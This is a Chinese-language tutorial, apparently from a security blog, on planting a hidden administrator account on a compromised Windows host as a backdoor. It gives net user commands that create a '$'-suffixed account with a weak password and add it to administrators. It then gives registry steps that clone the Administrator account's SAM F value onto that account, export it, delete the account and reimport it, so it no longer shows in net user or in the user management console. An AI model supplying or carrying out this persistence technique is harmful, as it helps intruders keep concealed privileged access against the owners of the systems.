在Windows系统上创建隐藏账号

渗透一台主机后,都会想办法留一个后门便于以后访问。这时可以使用创建隐藏账号的方式给系统留一个后门。

创建特殊账号

通过net user命令创建特殊账号,并将账号加入到administrators组中

net user mumsec$ 123456 /add
net localgroup administrators mumsec$ /add

创建后,这个账号可在一定条件下隐藏,输入net user无法获取账号信息。但是,在登录界面以及本地用户和组中仍能够发现该账号。

为注册表赋予管理员权限

使用 WIN+R 键,输入regedit 打开注册表,展开注册表 [HKEY_LOCAL_MACHINE\SAM|SAM]

默认情况下 SAM 这个项里没有任何内容,这是因为用户没有访问权限。

在这个项的右键菜单里,为 administrator 用户赋予完全控制权限。

然后重新刷新注册表,就可以看到账号信息了

导出注册表

在 [SAM\Domains\Account\Users\Names] 项里显示了当前系统存在的所有账户,选中 mumsec$ ,在其右侧有一个(默认)选项,类型为 0x3ee 的键值。

其中的 0x3ee 就是 mumsec$ 账户 SID 的结尾,即 RID(这里使用十六进制表示)。另外,在 [SAM\Domains\Account\Users] 里还有一个以 0x3ee 结尾的子项。

这两个项里都是存放了账号 mumsec$ 的信息。

可以知道administrator对应的值是000001F4,mumsec$对应的值是000003EE。现在只要将000001F4值的F复制到000003EE值的F,选择000001F4(administrator)里面的F值复制

复制了之后再打开000003EE(mumsec$) 直接把刚才复制的覆盖到000003EE(mumsec$) F值里面(现在的话,000001F4(administrator)里面F值与000003EE(mumsec$F值是一模一样的!)

接下来把mumsec$和000003EE 都导出注册表。

在这两个项上单击右键,执行 导出 命令,将这两个项的值分别导出成扩展名为 .reg 的注册表文件。

删除特殊账号

导出注册表后,将mumsec$账号删除

net user mumsec$ /del

再次重新刷新注册表,此时上述两个项都没有了

导入reg文件

现在通过命令将刚才导出的两个注册表.reg文件重新导入到注册表

regedit /s mumsec.reg
regedit /s 0x3ee.reg

导入完成后,注册表了就有了mumsec$账号信息

此时隐藏账号已经创建成功,在本地用户和组中都无法发现账号mumsec$

通过net user也无法列出该账号

如果要查看这个隐藏账号只能通过注册表去查看。登录一下看看

成功登录隐藏账号。